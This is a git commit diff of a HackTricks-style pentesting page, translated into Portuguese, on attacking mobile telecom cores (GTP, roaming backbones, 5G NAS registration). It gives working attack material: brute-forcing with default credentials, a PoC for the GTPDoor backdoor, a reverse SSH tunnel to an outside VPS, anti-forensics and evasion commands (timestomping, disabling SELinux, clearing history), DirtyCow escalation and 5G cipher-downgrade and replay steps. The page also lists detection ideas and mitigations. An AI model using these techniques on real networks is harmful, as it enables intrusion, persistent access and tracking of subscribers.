Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

This commit is contained in:
Translator 2025-09-07 20:09:10 +00:00
parent cba48dd752
commit 9303056f0d

View File

@ -1,27 +1,27 @@
# Telecom Network Exploitation (GTP / Roaming Environments)
# Exploração de Redes de Telecom (GTP / Ambientes de Roaming)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Protocolos de núcleo móvel (GPRS Tunnelling Protocol GTP) frequentemente atravessam backbones de roaming GRX/IPX semi-confiáveis. Como eles utilizam UDP simples com quase nenhuma autenticação, **qualquer ponto de acesso dentro de um perímetro de telecomunicações geralmente pode alcançar diretamente os planos de sinalização central**. As seguintes notas coletam truques ofensivos observados na prática contra SGSN/GGSN, PGW/SGW e outros nós EPC.
> Os protocolos do core móvel (GPRS Tunnelling Protocol GTP) frequentemente atravessam backbones de roaming GRX/IPX semi-confiáveis. Como trafegam sobre UDP simples com quase nenhuma autenticação, **qualquer foothold dentro do perímetro de uma telecom geralmente pode atingir diretamente os planos de sinalização core**. As notas a seguir reúnem truques ofensivos observados na natureza contra SGSN/GGSN, PGW/SGW e outros nós EPC.
## 1. Recon & Acesso Inicial
### 1.1 Contas OSS / NE Padrão
Um conjunto surpreendentemente grande de elementos de rede de fornecedores vem com usuários SSH/Telnet codificados como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Uma lista de palavras dedicada aumenta dramaticamente o sucesso de força bruta:
Um conjunto surpreendentemente grande de elementos de rede de fornecedores é entregue com usuários SSH/Telnet codificados, como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Uma wordlist dedicada aumenta dramaticamente o sucesso de brute-force:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Se o dispositivo expuser apenas um VRF de gerenciamento, faça um pivot através de um host de salto primeiro (veja a seção «SGSN Emu Tunnel» abaixo).
Se o dispositivo expõe apenas uma management VRF, pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo).
### 1.2 Descoberta de Host dentro do GRX/IPX
A maioria dos operadores de GRX ainda permite **ICMP echo** através da espinha dorsal. Combine `masscan` com as sondas UDP `gtpv1` integradas para mapear rapidamente os ouvintes GTP-C:
### 1.2 Descoberta de Hosts dentro do GRX/IPX
A maioria dos operadores GRX ainda permite **ICMP echo** através do backbone. Combine `masscan` com as probes UDP `gtpv1` integradas para mapear rapidamente os listeners GTP-C:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Enumerando Assinantes `cordscan`
## 2. Enumeração de Assinantes `cordscan`
A seguir, a ferramenta Go cria pacotes de **GTP-C Create PDP Context Request** e registra as respostas. Cada resposta revela o atual **SGSN / MME** que atende o IMSI consultado e, às vezes, o PLMN visitado pelo assinante.
A ferramenta em Go a seguir cria pacotes **GTP-C Create PDP Context Request** e registra as respostas. Cada resposta revela o atual **SGSN / MME** que está servindo o IMSI consultado e, às vezes, o PLMN visitado pelo assinante.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -32,17 +32,17 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
Principais flags:
- `--imsi` IMSI do assinante alvo
- `--oper` Home / HNI (MCC+MNC)
- `-w` Escrever pacotes brutos em pcap
- `-w` Grava pacotes brutos em pcap
Constantes importantes dentro do binário podem ser corrigidas para ampliar as varreduras:
Constantes importantes dentro do binário podem ser alteradas para ampliar as varreduras:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Execução de Código sobre GTP `GTPDoor`
## 3. Execução de código sobre GTP `GTPDoor`
`GTPDoor` é um pequeno serviço ELF que **vincula UDP 2123 e analisa cada pacote GTP-C recebido**. Quando a carga útil começa com uma tag pré-compartilhada, o restante é descriptografado (AES-128-CBC) e executado via `/bin/sh -c`. O stdout/stderr são exfiltrados dentro de mensagens **Echo Response** para que nenhuma sessão externa seja criada.
`GTPDoor` é um pequeno serviço ELF que **associa-se ao UDP 2123 e analisa cada pacote GTP-C recebido**. Quando o payload começa com uma pre-shared tag, o restante é descriptografado (AES-128-CBC) e executado via `/bin/sh -c`. O stdout/stderr são exfiltrados dentro de mensagens **Echo Response**, de modo que nenhuma sessão de saída é criada.
Pacote PoC mínimo (Python):
```python
@ -53,37 +53,37 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Detecção:
* qualquer host enviando **Solicitações de Eco desbalanceadas** para IPs do SGSN
* sinalizador da versão GTP definido como 1 enquanto o tipo de mensagem = 1 (Eco) desvio da especificação
* qualquer host enviando **unbalanced Echo Requests** para IPs do SGSN
* GTP version flag set to 1 while message type = 1 (Echo) desvio da especificação
## 4. Pivotando Através do Core
## 4. Pivoting Through the Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` fornece um emulador de SGSN capaz de **estabelecer um contexto PDP em direção a um GGSN/PGW real**. Uma vez negociado, o Linux recebe uma nova interface `tun0` acessível a partir do par de roaming.
`OsmoGGSN` inclui um emulador de SGSN capaz de **estabelecer um PDP context towards a real GGSN/PGW**. Uma vez negociado, o Linux recebe uma nova interface `tun0` acessível a partir do roaming peer.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Com o hair-pinning adequado do firewall, este túnel contorna VLANs apenas de sinalização e te leva diretamente ao **data plane**.
Com o firewall hair-pinning adequado, este túnel contorna VLANs somente de sinalização e coloca você diretamente no **plano de dados**.
### 4.2 Túnel Reverso SSH pela Porta 53
O DNS está quase sempre aberto em infraestruturas de roaming. Exponha um serviço SSH interno para o seu VPS escutando na :53 e retorne mais tarde de casa:
### 4.2 SSH Reverse Tunnel over Port 53
O DNS está quase sempre aberto em infraestruturas de roaming. Exponha um serviço SSH interno no seu VPS escutando na :53 e retorne mais tarde de casa:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Verifique se `GatewayPorts yes` está habilitado no VPS.
Verifique se `GatewayPorts yes` está ativado no VPS.
## 5. Canais Ocultos
## 5. Canais Clandestinos
| Canal | Transporte | Decodificação | Notas |
|-------|------------|---------------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | chave de 4 bytes + pedaços de 14 bytes (XOR) | ouvinte passivo puro, sem tráfego de saída |
| DNS `NoDepDNS` | UDP 53 | XOR (chave = `funnyAndHappy`) codificado em octetos de registro A | observa subdomínio `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | blob AES-128-CBC em IE privado | mistura-se com conversas legítimas de GTP-C |
|-------|-----------|--------------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | listener passivo puro, sem tráfego de saída |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | observa o subdomínio `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | mistura-se com o chatter legítimo de GTP |
Todos os implantes implementam watchdogs que **timestomp** seus binários e reanimam se travarem.
Todos os implants implementam watchdogs que **timestomp** seus binaries e re-spawn se travarem.
## 6. Cheatsheet de Evasão de Defesa
```bash
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Escalação de Privilégios em NE Legado
## 7. Privilege Escalation em Legacy NE
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -116,25 +116,132 @@ Dica de limpeza:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Ferramentas
## 8. Caixa de Ferramentas
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` ferramentas personalizadas descritas nas seções anteriores.
* `FScan` : varreduras TCP de intranet (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS WPAD malicioso
* `Microsocks` + `ProxyChains` : pivotagem leve SOCKS5
* `FRP` (≥0.37) : travessia NAT / ponte de ativos
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling described in previous sections.
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
O procedimento de registration 5G corre sobre NAS (Non-Access Stratum) em cima de NGAP. Até que a segurança NAS seja ativada via Security Mode Command/Complete, mensagens iniciais não são autenticadas nem encriptadas. Essa janela pré-segurança possibilita múltiplos vetores de ataque quando você pode observar ou manipular o tráfego N2 (por exemplo, on-path dentro do core, rogue gNB, ou testbed).
Registration flow (simplified):
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: IP/QoS setup.
Dicas para laboratório (non-RF):
- Core: Open5GS default deployment é suficiente para reproduzir os fluxos.
- UE: simulador ou UE de teste; decodifique usando Wireshark.
- Ferramentas ativas: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Filtros úteis de exibição no Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Esperado: UE/USIM deve transmitir SUCI (SUPI encriptado com a public key da home-network). Encontrar um SUPI/IMSI em plaintext no Registration Request indica um defeito de privacidade que permite tracking persistente do assinante.
Como testar:
- Capture a primeira mensagem NAS no InitialUEMessage e inspecione o Mobile Identity IE.
- Checks rápidos no Wireshark:
- It should decode as SUCI, not IMSI.
- Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates leak.
O que coletar:
- MCC/MNC/MSIN se expostos; log por UE e rastreie ao longo do tempo/locais.
Mitigação:
- Forçar UEs/USIMs a usar apenas SUCI; alertar em qualquer IMSI/SUPI no NAS inicial.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background:
- UE anuncia EEA (encryption) e EIA (integrity) suportados no UE Security Capability IE do Registration Request.
- Mapeamentos comuns: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 são algoritmos nulos.
Problema:
- Como o Registration Request não é integrity protected, um atacante on-path pode limpar bits de capability para forçar a seleção de EEA0/EIA0 mais tarde durante o Security Mode Command. Algumas stacks incorretamente permitem algoritmos nulos fora de serviços de emergência.
Passos ofensivos:
- Interceptar InitialUEMessage e modificar o NAS UE Security Capability para anunciar apenas EEA0/EIA0.
- Com Sni5Gect, hook a mensagem NAS e patch os capability bits antes de encaminhar.
- Observar se o AMF aceita null ciphers/integrity e completa o Security Mode com EEA0/EIA0.
Verificação/visibilidade:
- No Wireshark, confirme os algoritmos selecionados após Security Mode Command/Complete.
- Example passive sniffer output:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Mitigações (obrigatórias):
- Configure AMF/policy para rejeitar EEA0/EIA0, exceto quando estritamente exigido (por exemplo, chamadas de emergência).
- Prefira impor EEA2/EIA2 como mínimo; registre e alerte sobre qualquer contexto de segurança NAS que negocie algoritmos nulos.
### 9.3 Repetição da initial Registration Request (NAS pré-segurança)
Porque o NAS inicial não tem integridade nem frescor, a InitialUEMessage+Registration Request capturada pode ser repetida para o AMF.
PoC rule for 5GReplay to forward matching replays:
```xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
O que observar:
- Se o AMF aceita o replay e prossegue para Authentication; a falta de validação de freshness/context indica exposição.
Mitigações:
- Aplicar proteção contra replay/vínculo de contexto no AMF; limitar taxa e correlacionar por-GNB/UE.
### 9.4 Tooling pointers (reproducible)
- Open5GS: iniciar um AMF/SMF/UPF para emular o core; observar N2 (NGAP) e NAS.
- Wireshark: verificar as decodificações de NGAP/NAS; aplicar os filtros acima para isolar Registration.
- 5GReplay: capturar uma registration, depois replay de mensagens NGAP + NAS específicas conforme a regra.
- Sni5Gect: live sniff/modify/inject no plano de controle NAS para coagir algoritmos null ou perturbar sequências de authentication.
### 9.5 Defensive checklist
- Inspecionar continuamente Registration Request em busca de SUPI/IMSI em texto puro; bloquear dispositivos/USIMs ofensores.
- Rejeitar EEA0/EIA0 exceto para procedimentos de emergência estritamente definidos; exigir no mínimo EEA2/EIA2.
- Detectar infraestrutura rogue ou mal configurada: gNB/AMF não autorizados, peers N2 inesperados.
- Alertar sobre modos de segurança NAS que resultem em algoritmos null ou replays frequentes de InitialUEMessage.
---
## Ideias de Detecção
1. **Qualquer dispositivo que não seja um SGSN/GGSN estabelecendo Solicitações de Criação de Contexto PDP**.
2. **Portas não padrão (53, 80, 443) recebendo handshakes SSH** de IPs internos.
3. **Solicitações de Eco frequentes sem Respostas de Eco correspondentes** podem indicar sinais do GTPDoor.
4. **Alta taxa de tráfego de resposta de eco ICMP com campos de identificador/sequência grandes e não nulos**.
## Detection Ideas
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
3. **Frequent Echo Requests without corresponding Echo Responses** might indicate GTPDoor beacons.
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
## Referências
## References
- [Palo Alto Unit42 Infiltração de Redes de Telecomunicações Globais](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 Protocolo de Tunelamento GPRS (v16.4.0)
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
{{#include ../../banners/hacktricks-training.md}}